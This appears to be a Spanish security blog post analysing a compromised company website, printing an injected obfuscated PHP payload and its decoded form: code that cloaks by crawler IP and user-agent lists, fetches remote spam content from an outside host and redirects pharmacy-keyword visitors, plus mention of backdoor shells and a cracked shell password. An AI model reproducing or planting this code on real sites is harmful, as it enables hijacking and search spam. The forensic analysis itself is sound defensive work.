sábado, 19 de octubre de 2013

El Rincón de HighSec: Análisis de una intrusión

Compartir este artículo:

Durante el proceso de recolección de información se descubrió que la Empresa-ejemplo sufrió un ataque informático no detectado por la organización.

Se encontró en un archivo de la página web, concretamente ubicado en la URL http://www.Empresa-ejemplo.es/index.html que contenía en su código fuente una línea de código extraña. En la tabla 1 se muestra

<?

 eval(gzinflate(base64_decode('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')));

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">

<html>

<head>

<meta http-equiv="Refresh" content="0;url=http://www.Empresa-ejemplo.es/fades/centros/ficha.php">

</head>

<body></body>

</html>

Cuando en realidad el archivo original debería ser este:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">

<html>

<head>

<meta http-equiv="Refresh" content="0;url=http://www.Empresa-ejemplo.es/fades/centros/ficha.php">

</head>

<body></body>

</html>

En este código sospechoso lo único entendible son estas 3 primeras palabras, evalgzinflatebase64_decode, las cuales son funciones de PHP así que me puse a investigar que había detrás de ese texto.

Función eval:

Evalúa una cadena de caracteres como código PHP

Descripción:

void eval (string code_str)

eval (): evalúa la cadena de caracteres dada en code_str como código PHP. Entre otras cosas, esto puede ser útil para almacenar código en un campo de texto de base de datos para una ejecución posterior.

Hay algunos aspectos a tener en cuenta cuando se utiliza eval (). Recordar que la cadena de caracteres pasada debe ser código PHP válido, incluyendo aspectos como sentencias de terminación con un punto y coma para que el parser no finalice en la línea después de eval(), y secuencias de formato correctas en code_str.

Recordar también que las variables a las que se les da valor en eval() retendrán estos valores posteriormente en el script principal.

Para que quede más clara la definición pondré un ejemplo:

<?php

$cadena1 = 'taza';

$cadena2 = 'cafe';

$str = 'Esta es una $cadena1 de $cadena2 con dos de azucar.<br>';

echo 'Sin eval()<br>';

echo $str;

eval( "\$str = \"$str\";" );

echo 'Con eval()<br>';

echo $str;

?>

Lo que nos arrojaría una salida así:

Sin eval()

Esta es una $cadena1 de $cadena2 con dos de azúcar.

Con eval()

Esta es una taza de café con dos de azúcar.

Función gzinflate()

La función gzinflate descomprime una cadena comprimida con la función gzdeflate(), entonces para comprender bien su funcionamiento tendremos que echarle una mirada a la función gzdeflate().

gzdeflate(): Función que comprime una cadena usando el formato DEFLATE(deflación).

Esta función recibe dos parámetros (datos, nivel):

Datos: Los datos a comprimir.

Nivel: El nivel de compresión. Puede ser dado como 0 para no compresión hasta 9 para la compresión máxima. Si no se da, el nivel por defecto de compresión será el valor por defecto de la librería zlib(Es una librería de compresión de propósito general, disponible como código abierto).

Esta función retorna la cadena comprimida o FALSE si ocurre un error.

Nota Importante:

Que es Deflate(deflación)

Es un algoritmo de compresión de datos.

El algoritmo deflación es un sistema de compresión de datos sin pérdidas que usa una combinación del algoritmo LZ77 y la codificación Huffman. Fue originalmente definido por Phil Katz para la versión 2 de su herramienta de archivado PKZIP, y fue más tarde especificado como RFC 1951. Adjuntaré la URL al RFC para no desviarnos del tema central. (http://www.faqs.org/rfcs/rfc1951).

gzinflate(datos,longitud): datos: Los datos comprimidos por gzdeflate().

Longitud: La longitud máxima de los datos a descodificar o descomprimir. (La función retornará un error si los datos ya sin comprimir, son mayores a 32768 veces la longitud de los dados en el parámetro datos o más que el parámetro opcional longitud.)

<?php

$comprimir = gzdeflate('unpase',9);

echo 'Funcion gzdeflate()<br>';

echo "$comprimir <br>"; $descomprimir = gzinflate($comprimir); echo 'Funcion gzinflate()<br>';

echo $descomprimir;

?>

Resultado

Funcion gzdeflate()

+-(NÔK-

Funcion gzinflate()

unpase

Función base64_decode ()

Decodifica datos codificados en base64, mediante la función base64_encode ().

base64:

Base 64 es un sistema de numeración posicional que usa 64 como base. Es la mayor potencia de dos que puede ser representada usando únicamente los caracteres imprimibles de ASCII. Esto ha propiciado su uso para codificación de correos electrónicos, PGP y otras aplicaciones. Todas las variantes famosas que se conocen con el nombre de Base64 usan el rango de caracteres A-Z, a-z y 0-9 en este orden para los primeros 62 dígitos, pero los símbolos escogidos para los últimos dos dígitos varían considerablemente de unas a otras.

Para no profundizar en el tema dejo los números de los RFC (Request for Comments):

#RFC 989 (Privacy Enhancement for Electronic Internet Mail) (obsolete)#RFC 1421 (Privacy Enhancement for Electronic Internet Mail)#RFC 2045 (Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies)#RFC 3548 (The Base16, Base32, and Base64 Data Encodings)#RFC 4648 (The Base16, Base32, and Base64 Data Encodings)

Nota:

Algo interesante de este sistema es la posibilidad de codificar imágenes a texto y luego incluirlas sin tener que llevar la imagen. Se señala el mime type y el código en base64 y así se incluyen las imágenes.

Ejemplo:<img id=’logo’src=”data:image/gif;base64,”Codigo_base64_de_la_imagen”/>

Otra funcionalidad se la dan los spammers para incluir mensajes para filtros de email que no decodifican base64 y logran saltárselos.

Función base64_encode (): devuelve el valor datos codificado con base64. Este método de cifrado está diseñado para hacer que los datos binarios se adapten al transporte a través de capas que no manejan limpiamente caracteres de 8-bits, tales como cuerpos de correo.

Los datos cifrados con base64 ocupan aproximadamente un 33% más de espacio que los datos originales.

Función base64_decode (): decodifica datos cifrados y devuelve los datos originales, o FALSE en caso de fallo. Los datos devueltos pueden ser binarios.

<?php

$cadena = "Empresa-ejemplo.es";

echo "<b>Cadena a codificar: <br></b>";

echo $cadena;

echo "<b><br>Cadena Codificada: <br></b>";

echo base64_encode($cadena);

echo "<b><br>Cadena Decodificada: <br></b>";

$decodificar = base64_encode($cadena); echo base64_decode($decodificar);

?>

Resultado

Cadena a codificar:

Empresa-ejemplo.es

Cadena Codificada:

RW1wcmVzYS1lamVtcGxvLmVz

Cadena Decodificada:

Empresa-ejemplo.es

Desarrollo del problema

Lo que había en un comienzo era algo así:

eval(gzinflate(base64_decode(“string_sospechoso”)));

Os lo dejo como tarea para casa el descifrar el código anterior si queréis examinar lo, ya que con lo que explico anteriormente no sera muy difícil descifrarlo

Al descifrar quedaría algo similar a la siguiente imagen

La una de las soluciones para descifrar el código anterior es la siguiente./* Remplazo la función  eval() por echo y para mayor claridad filtro la salida con la función htmlspecialchars(), */echo htmlspecialchars(gzinflate(base64_decode("string_sospechoso"))),ENT_QUOTES;

Resultado después de decodificar

$dir = '754692293';

$pages = 'www.Empresa-ejemplo.es/fades/facentros/biblicos/incionGral.php

www.Empresa-ejemplo.es/eios/syfechas.php

www.Empresa-ejemplo.es/mo

www.Empresa-ejemplo.es/ests/antil.php

www.Empresa-ejemplo.es/estciencia09/grama.php

';

$pages=explode("\n",$pages);

$des = str_rot13('fge_ebg13');

$request_url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

$request_url=trim(str_replace('www.','',$request_url));

$request_url=str_replace('/','',$request_url);

$erase = base64_decode(str_rot13('LzSmMGL0K2EyL29xMD=='));

$request_url=str_replace('&amp;','',$request_url);

$request_url=str_replace('&','',$request_url);

$c = 'dWdnYzovL2N1YzUteXZvLnBiei90cmcv';

$server_accept_language = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];

$server_user_agent = @$_SERVER['HTTP_USER_AGENT'];

$ref = @$_SERVER['HTTP_REFERER'];$ref = urlencode($ref);

$server_host = @$_SERVER['HTTP_HOST'];

$server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];

$server_remote_addr = @$_SERVER['REMOTE_ADDR'];

$server_query_string = @$_SERVER['QUERY_STRING'];

$server_signature = @$_SERVER['SERVER_SIGNATURE'];

$server_request = @$_SERVER['REQUEST_URI'];

$server_ip = @$_SERVER['REMOTE_ADDR'];

foreach($pages as $page){

     $addr=trim(str_replace('www.','',$page));

     $page_tmp=str_replace('&amp;','',$addr);

     $page_tmp=str_replace('&','',$page_tmp);

     $page_tmp=str_replace('/','',$page_tmp);

     if ($request_url==$page_tmp){

          @$is_human = @detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging);

          if (@$is_human==false){

               if(ini_get('allow_url_fopen')==1){

                    echo @file_get_contents('http://files-uploader.com/'.$dir.'/'.md5($addr));

               }

               else if(function_exists('curl_init')){

                    $ch = curl_init();

                    $c_url = 'http://files-uploader.com/'.$dir.'/'.md5($addr);

                    curl_setopt($ch, CURLOPT_URL, $c_url);

                    curl_setopt($ch, CURLOPT_HEADER, 0);

                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

                    curl_setopt($ch, CURLOPT_TIMEOUT, 10);

                    $data =  curl_exec($ch);

                    echo $data;

               }

               exit;

          }

          else{

               $keys = Array(

                    'viagra',

                    'cialis',

                    'propecia',

                    'levitra',

                    'drug',

                    'levitra',

                    'propecia',

                    'pharmac',

                    'medic',

                    'viagro',

                    'cailis',

                    'cialus',

                    'taladaf',

                    'sildenaf',

                    'cialas',

                    'viagria',

                    'prescription',

                    'cialas',

                    'viagria',

                    'viagara',

                    'cialia',

                    'ciallis',

                    'ciailas',

                    'cialias',

                    'vardenaf',

                    'tadalaf',

                    'slidenaf'

               );

               $loref = strtolower($ref);

               foreach ($keys as $key)

                    if (strpos($loref,$key)!==false){

                         header("Location: http://locate-runer.com/go.php?sid=1");

                         exit;

                    }

          }

     break;

     }

}

function detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging){

    $stop_ips_masks = array(

        "66\.249\.[6-9]

[0-9]\.[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255

        "74\.125\.[0-9]+\.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255

        "65\.5[2-5]\.[0-9]+\.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,

        "74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255

        "67\.195\.[0-9]+\.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255

        "72\.30\.[0-9]+\.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255

        "38\.[0-9]+\.[0-9]+\.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255

        "93\.172\.94\.227",                // MacFinder

        "212\.100\.250\.218",            // Wells Search II

        "71\.165\.223\.134",            // Indy Library

        "70\.91\.180\.25",

        "65\.93\.62\.242",

        "74\.193\.246\.129",

        "213\.144\.15\.38",

        "195\.92\.229\.2",

        "70\.50\.189\.191",

        "218\.28\.88\.99",

        "165\.160\.2\.20",

        "89\.122\.224\.230",

        "66\.230\.175\.124",

        "218\.18\.174\.27",

        "65\.33\.87\.94",

        "67\.210\.111\.241",

        "81\.135\.175\.70",

        "64\.69\.34\.134",

        "89\.149\.253\.169",

        "64\.233\.1[6-8]

[1-9]\.[0-9]+",

        "64\.233\.19[0-1]\.[0-9]+",

        //google from iplists

        "209\.185\.108\.[0-9]+",

        "209\.185\.253\.[0-9]+",

        "209\.85\.238\.[0-9]+",

        "216\.239\.33\.9[6-9]",

        "216\.239\.37\.9[8-9]",

        "216\.239\.39\.9[8-9]",

        "216\.239\.41\.9[6-9]",

        "216\.239\.45\.4",

        "216\.239\.46\.[0-9]+",

        "216\.239\.51\.9[6-9]",

        "216\.239\.53\.9[8-9]",

        "216\.239\.57\.9[6-9]",

        "216\.239\.59\.9[8-9]",

        "216\.33\.229\.163",

        "64\.233\.173\.[0-9]+",

        "64\.68\.8[0-9]\.[0-9]+",

        "64\.68\.9[0-2]\.[0-9]+",

        "72\.14\.199\.[0-9]+",

        "8\.6\.48\.[0-9]+",

        //google from iplists

// 10.0.0.0 - 10.255.255.255 iana

        "207\.211\.40\.82",

        "67\.162\.158\.146",

        "66\.255\.53\.123",

        "24\.200\.208\.112",

        "129\.187\.148\.240",

        "129\.187\.148\.244",

        "199\.126\.151\.229",

        "118\.124\.32\.193",

        "89\.149\.217\.191"

    );

    $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawl", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress",'Charlotte','wwwster','Python','urllib','perl','libwww','lynx','Twiceler','rambler','yandex');

    $server_user_agent = preg_replace("|User\.Agent\:[\s ]?|i", "", @$server_user_agent);

    $is_human = true; $stop_ip_detected = false; $stop_agent_detected = false; $detected_str = "";

    foreach ($stop_ips_masks as $stop_ip_mask) if(eregi("$stop_ip_mask", $server_ip)) {

        $is_human = false;  break;

    }

    if($is_human) foreach($stop_agents_masks as $stop_agents_mask) if(eregi($stop_agents_mask, @$server_user_agent) !== false){

        $is_human = false;  break;

    }

    if($is_human and !eregi("^[a-zA-Z]{5,}", @$server_user_agent)) {

        $is_human = false;

    }

    if($is_human and strlen($server_user_agent)<=11) {

        $is_human = false;

    }

    if(stristr($ref,$server_query_string)) {

        $is_human = false;

    }

    return $is_human;

}

Las conclusiones que se pueden sacar de este código son:

  • Es accesible cuando se cumplen ciertos requisitos y solo cuando es redireccionado desde buscadores.
  • El hacker oculto muy bien su código al incrustarlo en una página que se utiliza únicamente como redirección, ya que en ella no se puede ver su código fuente a menos que uno la busque directamente en el servidor y la examine cosa que sería buscar una aguja en un pajar con la cantidad de páginas web que tiene la organización.
  • El objetivo del hacker es utilizar a la organización para realizar black SEO  para la venta ilegal de VIAGRA.

Realizando un seguimiento el origen del hacking conseguir llegar a un servidor de archivos ubicado en http://files-uploader.com, al cual no tenemos premisos para ver su contenido. Pero si nos fijamos en el código anterior hay una variable llamada $dir con valor 754692293 y si este valor lo agregamos a la URL,  veremos todos los archivos asociados a la organización. Estos eran utilizados para la venta de viagra de forma ilegal usando a la organización como puente de enlace.

Continuando con la investigación encuentro que el sitio utilizado por el hacker, utiliza algún sistema de proxy, dado que al realizar un rastreo de geolocalización, obtengo punto de origen distintos países como Holanda, EEUU, India, Rusia. Lo que tienen todos los resultados en común, es que el proveedor de servicio del dominio, es uno llamado http://inferno.name/, el cual es una página web Rusa que ofrece servicios de hosting con servidores en distintos países, el cual tiene su sede central supuestamente en Londres.

Mi conclusión es que el dominio http://files-uploader.com  se utiliza, solo para realizar delitos en internet, ya que la Empresa-Ejemplo no es el único dominio afectado. Realizando una búsqueda personalizada en Google con “site:files-uploader.com”, se podrá ver otros directorios con paginas preparadas para otros sitios web y esto hace pensar que este no fue un hacking dirigido a Empresa-Ejemplo, sino que fue un hacking automatizado en masa a distintos dominios en el mundo, realizando un posible ataque a una versión de PHP, apache, wordpress, joomla, dupal o cualquier aplicación web desactualizada con fallos de seguridad. Trate de confirmar mis sospechas realizando búsquedas en Google y encontré, que existen alrededor de 1 millón de sitios afectados, y no solo con viagra sino que muchas web tiene troyanos y virus como se muestra en las siguientes ilustraciones.

Como medida de solución, propuse en primera instancia revisar los logs del sistema para corregir lo antes posible  el agujero de seguridad, por la cual entro el hacker ya que si no se soluciona podría entrar varias veces y no se conseguiría nada solamente limpiando los archivos infectados. Esto sería una pérdida de tiempo ya que el peligro de una intrusión seguiría existiendo. Otra solución puede ser el anular el funcionamiento de la función EVAL de PHP para evitar la ejecución de código remoto a través de una intrusión remota pero en la página de la Empresa-Ejemplo se utiliza bastantes veces esa función, lo que nos descarta la posibilidad de desactivar la función ya que habría que estudiar todo el código de las distintas aplicaciones.

Para continuar con la investigación fui al CPD y solicite permiso para realizar búsquedas con comandos Unix en el sistema de ficheros de la página web, que correspondieran con el patrón utilizado por el hacker y en esa búsqueda me encontré con 4 ficheros que coinciden con el patrón  buscado.

Analizando los ficheros encontré que el hacker fue muy listo ya que incrustaba codigo PHP en 2 ficheros HTML y con un .htaccess le daba la posibilidad de ejecutar código PHP en HTML,  estos ficheros contenían un formulario para subir archivos en caso de que alguien eliminara las shell esta es una  forma de recuperar el acceso en la organización. El análisis de los otros 2 ficheros concluyo que eran SHELL (Backdoor) en PHP, para administrar el servidor de forma remota. La Shell solicita una contraseña para acceder a ella. Estudiando el código fuente (luego de decodificarlo ya que también utilizaba base64) encontré el hash MD5 de la contraseña y realizando un ataque de fuerza bruta al hash conseguí el password que es 145155.

Entrando en la SHELL esto es lo primero que nos encontramos.

Luego en la página principal nos muestra un panel de administración

Y aquí podemos jugar mucho mucho...

El problema al estar esta Shell en el sistema es crítico ya que se puede navegar visualizar y descargar archivos sensibles para la organización así como también de configuración. Debe ser removida inmediatamente y buscar el error de seguridad que se utilizó para poder ingresarla al sistema, ya que si no se encuentra, el autor podrá utilizar la misma técnica para volver a incluirla en el sistema. También deben comenzar las acciones legales contra el hosting que está cometiendo el delito.

Estas shell fue removida y se actualizo el servicio que causo la vulnerabilidad se le mando un reporte a la GDT y al transcurrir unas semanas el hosting que alojaba los fichero utilizados en el fraude fueron removidos y se canceló su servicio.

Espero que les guste.

Un saludo a todos

“La curiosidad mato al gato y a un hacker le dio su ZeroDay”Sebastian Cornejo.

@CuriositySec sebastian@highsec.es

3 comentarios:

  1. Sobre la causa raíz, en SEINHE hemos visto intrusiones similares recientemente en Joomlas sin actualizar. Si la empresa usaba este CMS puede que entrarán por ahí.

    ResponderEliminar
  2. [...] Login « El Rincón de HighSec: Análisis de una intrusión [...]

    ResponderEliminar
  3. Excelente,hace tiempo no leía una buena crónica de un H4cK. Felicitaciones.

    ResponderEliminar

Related Posts Plugin for WordPress, Blogger...